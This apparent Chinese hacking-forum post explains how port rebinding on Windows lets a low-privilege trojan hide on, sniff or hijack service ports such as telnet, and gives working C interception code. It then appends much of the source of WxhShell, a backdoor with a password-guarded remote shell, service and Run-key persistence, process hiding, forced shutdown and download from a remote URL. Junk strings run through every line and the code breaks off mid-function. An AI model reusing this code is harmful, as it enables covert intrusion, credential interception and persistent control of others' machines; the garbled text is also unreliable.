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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dw6ysOR@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2m$C;j!D  
R&!;(k0  
  saddr.sin_family = AF_INET; R*6TS"aL  
f#c}}>V8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s(X\7Hz_nC  
Ktk?(49  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $}4ao2  
@0@WklAJA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3uw3 [ SR1  
Af\@J6viF7  
  这意味着什么?意味着可以进行如下的攻击: +wj}x?ZeV  
o"qxR'V  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n{W(8K6d@[  
b0 }dy\dnQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >JNdtP8s/1  
J[}j8x?r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  c{kpg N  
/\e_B6pF<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )-I/ej^  
NP3 e^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gR/?MJ(v  
z}SJ~WY'[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zSA"f_e  
~"*W;|)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;~1xhpTk  
"Pc}-&  
  #include E\}A<r  
  #include P*[wB_^&UP  
  #include R o{xprE1  
  #include    BJ_"FG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VOYQ<tg  
  int main()  "O# V/(  
  { `#ff`j|a  
  WORD wVersionRequested; ]?V:+>t=  
  DWORD ret; I@qGDKz;  
  WSADATA wsaData; g'!"klS93  
  BOOL val;  rPr]f;  
  SOCKADDR_IN saddr;  Mp js  
  SOCKADDR_IN scaddr; leF!Uog  
  int err; GfSD% "  
  SOCKET s; b*tb$F  
  SOCKET sc;  +mft  
  int caddsize; |7KWa(V5I  
  HANDLE mt; HS*Y%*  
  DWORD tid;   @8w[Zo~  
  wVersionRequested = MAKEWORD( 2, 2 ); :W>PKW`^  
  err = WSAStartup( wVersionRequested, &wsaData ); : ^p aI  
  if ( err != 0 ) { Aua}.Fl,  
  printf("error!WSAStartup failed!\n"); 1.N2!:&G|  
  return -1; n5oX51J  
  } [CI0N I6F  
  saddr.sin_family = AF_INET; yIr0D 6L  
   Jza ?DhSAZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HNc/p4z  
OVxg9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _KtV`bF  
  saddr.sin_port = htons(23); : Wtpg   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _B^X3EOc  
  { XgXXBKf$  
  printf("error!socket failed!\n"); 7K&Uu3m  
  return -1; EUh_`R  
  } 86cnEj=   
  val = TRUE; _u;pD-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3.P7GbN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Wt@hST  
  { KiFTj$w,  
  printf("error!setsockopt failed!\n"); SmvMjZ+7Y  
  return -1; k;JDVRL  
  } eU`O=uE   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qc!3y>Y=_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h-O;5.m-P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Tb;,t=;u  
`'5vkO>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BHU$QX  
  { br TP}A  
  ret=GetLastError(); j+dQI_']x  
  printf("error!bind failed!\n"); ] >w@@A  
  return -1; vf#d  
  } A)j!Wgs^z  
  listen(s,2); RL\?i~'KH  
  while(1) T%FW|jKw  
  { sSwY!";  
  caddsize = sizeof(scaddr); wsH_pF  
  //接受连接请求 ^Mc9MZ)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y5O &9Ckw  
  if(sc!=INVALID_SOCKET) z5~W >r  
  { fn5-Tnsq*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gGMQRRq  
  if(mt==NULL) >nih:5J,ja  
  { 1(:!6PY  
  printf("Thread Creat Failed!\n"); M;OMsRCVO  
  break; Fzt?M  
  } { %]imf|g.  
  } J>nBTY,_<  
  CloseHandle(mt); _!, J iOI  
  } 3b]M\ F9  
  closesocket(s); f38e(Q];m  
  WSACleanup(); \M._x"  
  return 0; Qe ip h  
  }   q}VdPt>X/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2u!&Te(!9  
  { u-4@[*^T$  
  SOCKET ss = (SOCKET)lpParam; cgQ6b.  
  SOCKET sc; a\}MJ5]  
  unsigned char buf[4096]; 8,!Oup  
  SOCKADDR_IN saddr; 6},[HpXRc4  
  long num; +0UBP7kn  
  DWORD val; vPz7*w  
  DWORD ret; i-5,* 0e6m  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #eJ<fU6Da  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   u Z-ZZE C  
  saddr.sin_family = AF_INET; 73Jm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "2sk1  
  saddr.sin_port = htons(23); fbOqxF"?we  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h3 XS t  
  { YE{t?Y\5  
  printf("error!socket failed!\n"); MsP6C)dz  
  return -1; ]- `wXi"  
  } vI5lp5( -3  
  val = 100; !%('8-x%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uXh:/KO  
  { W [K.|8ho  
  ret = GetLastError(); m Jk\$/Kh  
  return -1; g""GQeR  
  } ` K {k0_{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T:Klr=&V  
  { _"yA1D0d_  
  ret = GetLastError(); Dpw*m.f  
  return -1; z"UC$  
  } '=fk;AiQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) er)I".|  
  { Y6 sX|~Zy  
  printf("error!socket connect failed!\n"); k_0@,b 3  
  closesocket(sc); 5j1d=h  
  closesocket(ss); RE%f'y  
  return -1; M] /aW  
  } 4.jRTL5-oj  
  while(1) bP 9ly9FH  
  { NSB6 2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q,xL8i M,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^1bslCe   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j"69uj` R  
  num = recv(ss,buf,4096,0); \{lv~I  
  if(num>0) mSxn7LG  
  send(sc,buf,num,0); U-u?oU-.'  
  else if(num==0) cA q3Gh  
  break; +ZOiL[rS  
  num = recv(sc,buf,4096,0); IL %]4,  
  if(num>0) X&qx4 DL  
  send(ss,buf,num,0); P)=.D u)  
  else if(num==0) ]zSFX =~(S  
  break; vv @m{,7#Y  
  } E s5: S#  
  closesocket(ss); !-f Bw  
  closesocket(sc); ?W'p&(;  
  return 0 ; L9 D`hefz  
  } `NsjtT'_  
`R[ZY!=+  
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========================================================== 9RaO[j`  
}p7iv:P=3  
下边附上一个代码,,WXhSHELL eyJ07  
Yv;s3>r  
========================================================== neDXzMxF  
tF0jH+7J-  
#include "stdafx.h" WD[eoi  
85GIEUvH/  
#include <stdio.h> )?*YrWO{  
#include <string.h> WVbrbs4  
#include <windows.h> q!5:M\  
#include <winsock2.h> ' [ 4;QYw  
#include <winsvc.h> senK (kbc  
#include <urlmon.h> `Z?wj@H1`  
>M,oyM" s  
#pragma comment (lib, "Ws2_32.lib") JQ&t"`\k  
#pragma comment (lib, "urlmon.lib") 4]y)YNQ(  
Pd*[i7zhC  
#define MAX_USER   100 // 最大客户端连接数 jhNFaBrS  
#define BUF_SOCK   200 // sock buffer afEa@et'  
#define KEY_BUFF   255 // 输入 buffer ~?Q sr  
N4!`iS Y  
#define REBOOT     0   // 重启 C9 n%!()>  
#define SHUTDOWN   1   // 关机 ,S8K!  
I &t~o  
#define DEF_PORT   5000 // 监听端口 x *eU~e_jP  
\c=I!<9  
#define REG_LEN     16   // 注册表键长度 }{o !  
#define SVC_LEN     80   // NT服务名长度 #< im?  
~U9K<_U  
// 从dll定义API *v>ZE6CL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tgK I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xP9(J 0y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XIeLu"TSL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !'7fOP-J]  
k_al*iM>H  
// wxhshell配置信息 WSkGVQu  
struct WSCFG { nM )C^$3<t  
  int ws_port;         // 监听端口 NO"PO @&Wk  
  char ws_passstr[REG_LEN]; // 口令 _'u]{X\k{J  
  int ws_autoins;       // 安装标记, 1=yes 0=no )ZJvx%@i  
  char ws_regname[REG_LEN]; // 注册表键名 wbO6Ag@))  
  char ws_svcname[REG_LEN]; // 服务名 p*Bty@CRi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [4Z 31v>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y ::0v@&(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l\HdB"nT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }I"C4'(a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y7R#PkQ~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hd|l6/[xz  
 `zwz  
}; Wgq|Q*  
'=\}dav!  
// default Wxhshell configuration 5jdZC(q5a  
struct WSCFG wscfg={DEF_PORT, [|u^:&az  
    "xuhuanlingzhe", ])x1MmRg\  
    1, <#63tN9  
    "Wxhshell", A KNx~!%2  
    "Wxhshell", j =_rUc'Me  
            "WxhShell Service", &J[a.:..  
    "Wrsky Windows CmdShell Service", ::L2zVq5V  
    "Please Input Your Password: ", VSj!Gm0LB  
  1, ));#oQol9  
  "http://www.wrsky.com/wxhshell.exe", PJnC  
  "Wxhshell.exe" Gn]36~)*H  
    }; $EMOz=)I#  
$6QIYF""  
// 消息定义模块 B*7kX&Uq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eE;tiX/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xS18t="  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /YKd [RQ  
char *msg_ws_ext="\n\rExit."; uGKjZi  
char *msg_ws_end="\n\rQuit."; +Qs]8*^?;  
char *msg_ws_boot="\n\rReboot..."; q!K :N?  
char *msg_ws_poff="\n\rShutdown..."; Ycm)PU["  
char *msg_ws_down="\n\rSave to "; LzygupxY!  
A=CeeC]}  
char *msg_ws_err="\n\rErr!"; o3ZN0j69|  
char *msg_ws_ok="\n\rOK!"; mgxIxusR  
_MBa&XEM  
char ExeFile[MAX_PATH]; Er~17$b  
int nUser = 0; fS]& ?$q  
HANDLE handles[MAX_USER]; Iw1Y?Qia  
int OsIsNt; > =>/~dIb  
O9gq <d  
SERVICE_STATUS       serviceStatus; ~iw&^p|=K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h@)U,&  
vccWe7rh  
// 函数声明 I8*VM3  
int Install(void); wI#8|,]"z  
int Uninstall(void); (Guzj*12  
int DownloadFile(char *sURL, SOCKET wsh); `s}*  
int Boot(int flag); >hKsj{=R7  
void HideProc(void); z,HhSW?&^  
int GetOsVer(void); SNEhP5!  
int Wxhshell(SOCKET wsl); UuG%5 ZC  
void TalkWithClient(void *cs); 6|97;@94  
int CmdShell(SOCKET sock); 0V%c%]PH  
int StartFromService(void);  >DL  
int StartWxhshell(LPSTR lpCmdLine); 337.' |ZE  
*[MWvs:,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uL'f8Pqg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0SpB 2>_  
570Xk\R@M  
// 数据结构和表定义 3 qYGEhxv  
SERVICE_TABLE_ENTRY DispatchTable[] = I?KN7(9u?  
{ VA/2$5Wu  
{wscfg.ws_svcname, NTServiceMain}, 9O[IR)O~  
{NULL, NULL} /i+z#q5'  
}; ]kh]l8t^  
vz^ ] g  
// 自我安装 l,ny=Q$[1'  
int Install(void) p l)":}/)  
{ HKN|pO3v  
  char svExeFile[MAX_PATH]; 6iFlz9XiI  
  HKEY key; 5C w( 4.  
  strcpy(svExeFile,ExeFile); ktu?-?#0,  
, 3R=8  
// 如果是win9x系统,修改注册表设为自启动 .j6udiv5  
if(!OsIsNt) { 0AZ9I!&i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l9p  6I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \0@DOW22C  
  RegCloseKey(key); 2w>%-_]u+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { glAS$<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YV>a 3  
  RegCloseKey(key); "tEp8m  
  return 0; ?pL|eS7  
    } opX07~1  
  } ]&'!0'3`  
} /E>;O47a  
else { AvL /gt:  
X)g X9DA  
// 如果是NT以上系统,安装为系统服务 j }~?&yB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h'ik3mLH  
if (schSCManager!=0) hzD)yf  
{ XY0kd&N8  
  SC_HANDLE schService = CreateService *oO%+6nL  
  ( bGh&@&dHr  
  schSCManager, ra^</o/  
  wscfg.ws_svcname, L F?/60  
  wscfg.ws_svcdisp, 0%xktf  
  SERVICE_ALL_ACCESS, ];.5 *a%*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +|?a7qM  
  SERVICE_AUTO_START, +V=<vT  
  SERVICE_ERROR_NORMAL, b:1B >  
  svExeFile, I0-1Hr  
  NULL, $G=^cNB|JB  
  NULL, Owp]>e  
  NULL, nC:T0OJv  
  NULL, >^8O:.  
  NULL 288mP]a(v_  
  ); ;Q ZG<  
  if (schService!=0) j;$f[@0o  
  { jMT[+f  
  CloseServiceHandle(schService); lyL6w1  
  CloseServiceHandle(schSCManager); wXNng(M7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'O%*:'5k  
  strcat(svExeFile,wscfg.ws_svcname); V``|<`!gd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z@Rqm:e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x1=`Z@^  
  RegCloseKey(key); 74_?@Z(  
  return 0; RqROl!6  
    } rEr=Mi2  
  } 9G6)ja?W  
  CloseServiceHandle(schSCManager); /OKp(u;)z  
}  2_$8Ga  
} NbWEP\dS'z  
P, x" ![6  
return 1; \t{iyUxY  
} N\|B06X  
l@4pZkdq  
// 自我卸载 e {6wFN  
int Uninstall(void) FC 8<D  
{ (~@.9&cBD  
  HKEY key; U/c+j{=~  
TJ)Nr*U3_  
if(!OsIsNt) { \]Y<d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]xf89[;0  
  RegDeleteValue(key,wscfg.ws_regname); /@"mQx~[q  
  RegCloseKey(key); ' !huU   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wv>`x?W  
  RegDeleteValue(key,wscfg.ws_regname); ,WdSJ BK'a  
  RegCloseKey(key); {9J|\Zz3  
  return 0; JKKp5~_~  
  } +@$VJM%^7b  
} '4{@F~fu  
} Wz^;:6F  
else { J^t0M\  
Gb2|e.z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?Gf'G{^}  
if (schSCManager!=0) xb7!!PR  
{ !/`AM<`o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i<&z'A6&]*  
  if (schService!=0)  [6@bsXiw  
  { 5I* 1CIO  
  if(DeleteService(schService)!=0) { DKo6lP`  
  CloseServiceHandle(schService); Eoz/]b  
  CloseServiceHandle(schSCManager); OL=X&Vaf<  
  return 0; 6n:X p_yO  
  } /&?ei*z  
  CloseServiceHandle(schService); n2aUj(Zs=  
  } gISA13  
  CloseServiceHandle(schSCManager); z@~Z Mk  
} K[SzE{5=P  
} R||$Wi[$  
=5:vKL j  
return 1; FpttH?^  
} qPN  
.K940& Ui  
// 从指定url下载文件 <)cmI .J3  
int DownloadFile(char *sURL, SOCKET wsh) aorL,l  
{ X"8$,\wX,  
  HRESULT hr; vr>J$(F  
char seps[]= "/"; yokZ>+jb  
char *token; C#&b`  
char *file; yl<=_Q  
char myURL[MAX_PATH]; L7II>^"B  
char myFILE[MAX_PATH]; (^=kV?<  
5W{|? l{  
strcpy(myURL,sURL); Kd#64NSi$A  
  token=strtok(myURL,seps); \  }-v  
  while(token!=NULL) JjAO9j%  
  { 4!glgEE*  
    file=token; L8;`*H  
  token=strtok(NULL,seps); .<P@6Jq  
  } Mi!ak  
IxP$ lx  
GetCurrentDirectory(MAX_PATH,myFILE); z ISy\uka  
strcat(myFILE, "\\"); 0O q5;5  
strcat(myFILE, file); wS2N,X/Y  
  send(wsh,myFILE,strlen(myFILE),0); or` "{wop  
send(wsh,"...",3,0); bF@iO316H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kr ?`GQm  
  if(hr==S_OK) %D^j7`Z  
return 0; lVb;,C%K  
else [yAR%]i-7  
return 1; 9/\=6v C|  
FLlL0Gu  
} 4p&SlJ  
%ye4FwkRy  
// 系统电源模块 l5k]voG  
int Boot(int flag) HQ|{!P\/?U  
{ HPWjNwM  
  HANDLE hToken; #`Et{6W S  
  TOKEN_PRIVILEGES tkp; Z$@XMq!  
I."4u~[  
  if(OsIsNt) { 3412znM&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dv \ oVD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hta$ k%2  
    tkp.PrivilegeCount = 1; )6zwprH!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vCNYqa)m:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ">RDa<H]  
if(flag==REBOOT) { k@R)_,2HH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) seH#v  
  return 0; Ol@ YSkd  
} fx4X!(w!B  
else { .!t' &eV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Uz!cVs?-  
  return 0; 58My6(5y  
} xH8nn3U  
  } .es= w=  
  else { J_mpI.^Bsf  
if(flag==REBOOT) { G#0 4h{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }%rz"kB  
  return 0; (5N&bh`E  
} Z5{M_^  
else { dDk<J;~jGJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {/ _.]Vh  
  return 0; A]vQ1*pnk  
} Hca)5$yL  
} -OuMC&  
FyQ^@@  
return 1; 'bg%9}  
} D058=}^HE  
S*CRVs  
// win9x进程隐藏模块 G\IH b |  
void HideProc(void) GL1!Z3  
{ ? B^*YCo7(  
_"F(w"|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F+AShh  
  if ( hKernel != NULL ) p2 y h  
  { v *~ yN*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~GS`@IU}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Md[nlz  
    FreeLibrary(hKernel); /gHRJ$2|Sx  
  } Y6fU;  
G0//P .#  
return; 2Sb~tTGz79  
} 5NeEDY 2%#  
M>_S%V4a  
// 获取操作系统版本 8F4#E U  
int GetOsVer(void) 4(YKwY2_L  
{ L1"X`Pz[}  
  OSVERSIONINFO winfo; ,)Z^b$H]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oc-7gz)  
  GetVersionEx(&winfo); <<&:BK   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y)#Ib*?  
  return 1; sbNCviKP  
  else IEeh)aj[  
  return 0; P/Sv^d5=e  
} .f&,~$e4  
Jp5~iC2d  
// 客户端句柄模块 Vv=d*  
int Wxhshell(SOCKET wsl) l=EIbh  
{ C2eei're  
  SOCKET wsh; K$' J:{yY  
  struct sockaddr_in client; I%*o7"  
  DWORD myID; /2?GRwU~P  
S]{K^Q),  
  while(nUser<MAX_USER)  D[]vJ  
{ %qfEFhRC  
  int nSize=sizeof(client); ~`mOs1d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S <|e/![@  
  if(wsh==INVALID_SOCKET) return 1; 31YzTbl[H  
se$GE:hC1Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U4zyhj  
if(handles[nUser]==0) )+mbR_@,O6  
  closesocket(wsh); m[ txKj.=_  
else cD2}EqZ 9  
  nUser++; A@du*5> (  
  } > -Jd@7-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YJXh|@LT  
pt|u?T_+  
  return 0; 81H04L9K 7  
} Scs \nF2  
,p>=WX  
// 关闭 socket ^^)D!I"cA,  
void CloseIt(SOCKET wsh) $xlI"-(  
{ )UZ 's>O  
closesocket(wsh); WQ=C5^u  
nUser--; -~v;'zOO  
ExitThread(0); f#/v^Ql*  
} e [3sWv  
O^4:4tRpt  
// 客户端请求句柄 =R?NOWrDY  
void TalkWithClient(void *cs) t#}/VnSQ  
{ +!dIEt).U  
US0)^TKrj  
  SOCKET wsh=(SOCKET)cs; r/+ <_3  
  char pwd[SVC_LEN]; 0b~5i-zM/  
  char cmd[KEY_BUFF]; |z Gwt Z  
char chr[1]; B {f&'1pp/  
int i,j; .0cm mpUNq  
=?0o5|u]  
  while (nUser < MAX_USER) { r^VH [c@c  
\ d+&&ns  
if(wscfg.ws_passstr) { X@5!I+u\L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kiZA$:V8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B@=+Fg DD  
  //ZeroMemory(pwd,KEY_BUFF); PDzVXLpC  
      i=0; ) #9/vIQ  
  while(i<SVC_LEN) { +JB. EW/  
{SbA(a?B  
  // 设置超时 ,X)0+DNsq  
  fd_set FdRead; 2 Do^N5y  
  struct timeval TimeOut; c*9RzD#Zj  
  FD_ZERO(&FdRead); Pj8s;#~u  
  FD_SET(wsh,&FdRead); pZuYmMP  
  TimeOut.tv_sec=8; E@7";&\-8  
  TimeOut.tv_usec=0; _}EGk4E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j^"Z^TEBT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~}i &gd|(  
NELQo#kjZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gyw@+(l  
  pwd=chr[0]; 5<<e_n.2q  
  if(chr[0]==0xd || chr[0]==0xa) { 2d>kc2=*  
  pwd=0; $oHlfV/!  
  break; -z-58FLlO  
  } j,8*Z~\5  
  i++; E#URTt:&>  
    } u7UqN  
$C##S@  
  // 如果是非法用户,关闭 socket <bDjAVq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'sn%+oN  
} Hz`rw\\Xq  
jW}n6w5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @f{yx\u/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZ6.<wN  
OziG|o@I  
while(1) { MGCwT@P  
72GXgah  
  ZeroMemory(cmd,KEY_BUFF); 6+_)(+ c  
E<1^i;F  
      // 自动支持客户端 telnet标准   :+|b7fF  
  j=0; &,4^LFZ W  
  while(j<KEY_BUFF) { LS{g=3P0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ro*$7j0!Hf  
  cmd[j]=chr[0]; @] 1E~  
  if(chr[0]==0xa || chr[0]==0xd) { ]F r+cP  
  cmd[j]=0; su<_?'uH  
  break; Hv>A$x$q  
  } iOm~  
  j++; J6;^:()  
    } E j@M\  
L01R.3Z+  
  // 下载文件 NIrK+uC.d  
  if(strstr(cmd,"http://")) { [Qa0uM#SU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -@b&qi7&S  
  if(DownloadFile(cmd,wsh)) dGAthbWJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)N8vFdd  
  else U5jY/e_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j_-$xz5-  
  } x2ln$dSy7  
  else { 7 a !b}  
_tS<\zy@y  
    switch(cmd[0]) { H6 ( ~6Bp5  
  %?J\P@  
  // 帮助 1wmS?  
  case '?': { HdGAE1eU]}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Nj(0&  
    break; oOy@X =cw  
  } )/PvaL  
  // 安装 "tBdz V  
  case 'i': { ptQr8[FA  
    if(Install()) #M&rmKv)g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\Jq2vM  
    else b[$%Wg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MI0'ou8l  
    break; :T" !6;  
    } 17tph;  
  // 卸载 )TJz'J\*  
  case 'r': { S&}7jRH1  
    if(Uninstall()) J4 .C"v0a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qEX2K^y'4"  
    else aDb@u3X@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PvBx<i}A  
    break; 8)ZWR3)+W  
    } RQWVjF#  
  // 显示 wxhshell 所在路径 YR'?fr  
  case 'p': { iaQ[}'6!$  
    char svExeFile[MAX_PATH]; I: U/%cr,  
    strcpy(svExeFile,"\n\r"); fc._*y#AS  
      strcat(svExeFile,ExeFile); F8Z<JcOI  
        send(wsh,svExeFile,strlen(svExeFile),0); ~0w7E0DE[  
    break; `* "u"7e  
    } &eQzfx=|km  
  // 重启 Q2cF++Q1  
  case 'b': { eW"i'\`0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I.r &;   
    if(Boot(REBOOT))  ^ 'FC.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sqi~j(&\1  
    else { t1b$,jHmKl  
    closesocket(wsh); H/Cv?GJF  
    ExitThread(0); GK)3a 9;  
    } BF<7.<,  
    break; (9*s:)zD-  
    } o+;=C@,'  
  // 关机 kFgN^v^t  
  case 'd': { *=ftg&  
